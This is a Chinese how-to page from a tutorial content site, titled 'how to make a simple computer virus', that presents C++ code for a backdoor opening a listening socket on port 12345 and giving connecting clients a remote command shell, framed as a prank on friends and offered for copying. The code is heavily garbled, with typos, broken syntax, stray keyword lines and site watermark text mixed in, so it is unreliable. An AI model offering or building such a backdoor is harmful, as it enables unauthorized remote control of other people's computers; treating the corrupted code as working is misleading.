学习啦>学习电脑>电脑安全>病毒知识>

怎样制作一个简单的电脑病毒

时间: 林辉766 分享

  如何才能做出一个简单的电脑病毒呢!和朋友们开开小玩笑呢!下面由学习啦小编给你做出详细的制作简单的电脑病毒介绍!希望对你有帮助!

  制作简单的电脑病毒介绍:

  这是个简单的后门(cmdshell)

学习啦在线学习网   #i nclude

  int main(int argc,char*argv[])

  {

学习啦在线学习网   return 0;

  }//这个大家都知道了然后添加头文件C m d S h e l l.h跟Socket.h

学习啦在线学习网   #i nclude//WINDOW程序基本上都要包含这个文件的了!!!/cy

学习啦在线学习网   #i nclude "Cmdshell.h"

  #i nclude"SocketEX.h"

  int main(int argz,char* argv[])

  {

学习啦在线学习网   CSocketEX client,server;

  //

  server.Create(12345,NULL)//

  //

学习啦在线学习网   server.Listen()://

  while(1)//

  #i nclude

  {

  server.Accept(client);//

  SOCKET whi =client.Detach();

  //

  CreateThread(0,0.(L P T H R E A D _ S T A R T _R O U T I N E)Talk With(void*)whi,0,MULL)'

  //

  }

  }

学习啦在线学习网   void TalkWithCliet(void cs*)

  {

学习啦在线学习网   SOCKET wsc=(SOCKET)cs;//

  c.Attach(wsc);//

学习啦在线学习网   char *cmd;//

学习啦在线学习网   c.Send("Welcome TO CmdShell\r\n"),strlen("Welcome TO CmdShell\r\n"));

  //

学习啦在线学习网   while(1);//

  {

学习啦在线学习网   c.Send("#",stelen("#"));

  //

  cmd=recvcmd(c);

  //

  /******得到cmd shell*************/

  if (strcmp(cmd ,"shell")==0

  {

学习啦在线学习网   CCmdShell cmdshell

  //

学习啦在线学习网   cmdshell.LetUsGo(c.m_hSocket);

  //

  continue;

  }

  //

  /**************断开连接*************/

学习啦在线学习网   if (strcmp(cmd,"quit")==0)

  {break;}

  //

  if(c.m.h_Socket==INVALD_SOCKET)

  {break;}

  //

  if(wsc==INVALID_SOCKET)

  {break}

学习啦在线学习网   } wsc jasd break void continue if wcs char while int email if !//sdh

  return

  //

学习啦在线学习网   closesocket(wsc);

  }

  char*recvcmd(CSocketEx&c)//

  {

学习啦在线学习网   char*cmd;//

  charbuf[32];//

  char chr[1];//

  int i=0;

学习啦在线学习网   ZeroMemory(but,32);//

  while(i<32);//

  {

学习啦在线学习网   if(!c.Receive(chr,1)c.Close();//

学习啦在线学习网   buf[i]=chr[0];//

学习啦在线学习网   if(chr[0]==oxa||chr[0]==oxa)//

  {

  buf[i]=0;

  break;

  }

  i++;

  }

学习啦在线学习网   cmd=but;//

  return cmd;//

  }

  以上是c++代码,复制即可,希望对你有帮助!
看了“怎样制作一个简单的电脑病毒”文章的还看了:

1.如何制作电脑病毒

2.如何制作电脑病毒呢

3.简单的电脑病毒程序

4.怎样简单杀电脑病毒

630496